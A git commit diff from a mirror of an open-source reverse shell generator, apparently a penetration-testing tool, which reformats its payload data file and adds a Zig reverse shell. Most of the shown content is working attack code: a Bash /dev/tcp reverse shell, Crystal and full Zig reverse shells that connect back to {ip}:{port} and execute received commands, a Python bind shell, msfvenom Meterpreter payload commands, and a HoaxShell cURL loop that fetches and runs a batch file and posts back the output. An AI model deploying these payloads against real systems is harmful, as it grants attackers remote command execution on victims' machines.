mirror of
https://github.com/0dayCTF/reverse-shell-generator.git
synced 2025-02-22 06:33:42 +00:00
cleanup/format + add zig
This commit is contained in:
parent
cf609e544b
commit
c59c14b9a7
18
js/data.js
18
js/data.js
@ -1,4 +1,3 @@
|
||||
|
||||
const CommandType = {
|
||||
'ReverseShell': 'ReverseShell',
|
||||
'BindShell': 'BindShell',
|
||||
@ -20,8 +19,7 @@ const withCommandType = function (commandType, elements) {
|
||||
|
||||
const reverseShellCommands = withCommandType(
|
||||
CommandType.ReverseShell,
|
||||
[
|
||||
{
|
||||
[{
|
||||
"name": "Bash -i",
|
||||
"command": "{shell} -i >& /dev/tcp/{ip}/{port} 0>&1",
|
||||
"meta": ["linux", "mac"]
|
||||
@ -384,6 +382,11 @@ const reverseShellCommands = withCommandType(
|
||||
"name": "Crystal (code)",
|
||||
"command": "require \"process\"\nrequire \"socket\"\n\nc = Socket.tcp(Socket::Family::INET)\nc.connect(\"{ip}\", {port})\nloop do \n m, l = c.receive\n p = Process.new(m.rstrip(\"\\n\"), output:Process::Redirect::Pipe, shell:true)\n c << p.output.gets_to_end\nend",
|
||||
"meta": ["linux", "mac"]
|
||||
},
|
||||
{
|
||||
"name": "Zig",
|
||||
"command": "// See: `zig targets` for a valid list\n//\n// For an 'executable':\n// Windows: zig build-exe -target x86_64-windows-gnu reverse-shell.zig\n// Linux : zig build-exe reverse-shell.zig\n//\n// For a 'library':\n// Windows: zig build-lib -dynamic -target x86_64-windows-gnu reverse-shell.zig\n// Linux: zig build-lib -dynamic reverse-shell.zig\n\nconst std = @import(\"std\");\n\npub fn main() !void {\n var arena = std.heap.ArenaAllocator.init(std.heap.page_allocator);\n defer arena.deinit();\n const allocator = arena.allocator();\n\n while (true) {\n std.time.sleep(5 * std.time.ns_per_s);\n\n const peer = try std.net.Address.parseIp4(\"{ip}\", {port});\n\n const stream = std.net.tcpConnectToAddress(peer) catch {\n continue;\n };\n\n defer stream.close();\n\n var reader = stream.reader();\n const writer = stream.writer();\n\n var buffer: [1024]u8 = undefined;\n\n const FifoBuffer = std.fifo.LinearFifo(u8, .{ .Static = 1024 });\n var fifo = FifoBuffer.init();\n\n while (true) {\n buffer = std.mem.zeroes([1024]u8);\n\n var line = (try reader.readUntilDelimiterOrEof(\n &buffer,\n '\\n',\n )) orelse continue;\n\n if (@import(\"builtin\").os.tag == .windows) {\n line = @constCast(std.mem.trimRight(u8, line, \"\\r\"));\n }\n\n var process: std.process.Child = std.process.Child.init(&[_][]const u8{ \"/bin/bash\", \"-c\", line }, allocator);\n if (@import(\"builtin\").os.tag == .windows) {\n process = std.process.Child.init(&[_][]const u8{ \"c:\\\\windows\\\\system32\\\\cmd.exe\", \"/c\", line }, allocator);\n }\n\n process.stderr_behavior = .Pipe;\n process.stdout_behavior = .Pipe;\n\n process.spawn() catch {\n break;\n };\n\n if (process.stderr != null) {\n fifo.pump(process.stderr.?.reader(), writer) catch {\n break;\n };\n }\n\n if (process.stdout != null) {\n fifo.pump(process.stdout.?.reader(), writer) catch {\n break;\n };\n }\n\n _ = process.wait() catch {\n break;\n };\n }\n }\n}\n\n",
|
||||
"meta": ["linux", "windows", "mac"]
|
||||
}
|
||||
]
|
||||
);
|
||||
@ -392,8 +395,7 @@ const reverseShellCommands = withCommandType(
|
||||
|
||||
const bindShellCommands = withCommandType(
|
||||
CommandType.BindShell,
|
||||
[
|
||||
{
|
||||
[{
|
||||
"name": "Python3 Bind",
|
||||
"command": "python3 -c 'exec(\"\"\"import socket as s,subprocess as sp;s1=s.socket(s.AF_INET,s.SOCK_STREAM);s1.setsockopt(s.SOL_SOCKET,s.SO_REUSEADDR, 1);s1.bind((\"0.0.0.0\",{port}));s1.listen(1);c,a=s1.accept();\nwhile True: d=c.recv(1024).decode();p=sp.Popen(d,shell=True,stdout=sp.PIPE,stderr=sp.PIPE,stdin=sp.PIPE);c.sendall(p.stdout.read()+p.stderr.read())\"\"\")'",
|
||||
"meta": ["bind", "mac", "linux", "windows"]
|
||||
@ -418,8 +420,7 @@ const bindShellCommands = withCommandType(
|
||||
|
||||
const msfvenomCommands = withCommandType(
|
||||
CommandType.MSFVenom,
|
||||
[
|
||||
{
|
||||
[{
|
||||
"name": "Windows Meterpreter Staged Reverse TCP (x64)",
|
||||
"command": "msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST={ip} LPORT={port} -f exe -o reverse.exe",
|
||||
"meta": ["msfvenom", "windows", "staged", "meterpreter", "reverse"]
|
||||
@ -535,8 +536,7 @@ const msfvenomCommands = withCommandType(
|
||||
|
||||
const hoaxShellCommands = withCommandType(
|
||||
CommandType.HoaxShell,
|
||||
[
|
||||
{
|
||||
[{
|
||||
"name": "Windows CMD cURL",
|
||||
"command": "@echo off&cmd /V:ON /C \"SET ip={ip}:{port}&&SET sid=\"Authorization: eb6a44aa-8acc1e56-629ea455\"&&SET protocol=http://&&curl !protocol!!ip!/eb6a44aa -H !sid! > NUL && for /L %i in (0) do (curl -s !protocol!!ip!/8acc1e56 -H !sid! > !temp!\cmd.bat & type !temp!\cmd.bat | findstr None > NUL & if errorlevel 1 ((!temp!\cmd.bat > !tmp!\out.txt 2>&1) & curl !protocol!!ip!/629ea455 -X POST -H !sid! --data-binary @!temp!\out.txt > NUL)) & timeout 1\" > NUL",
|
||||
"meta": ["windows"]
|
||||
|
Loading…
Reference in New Issue
Block a user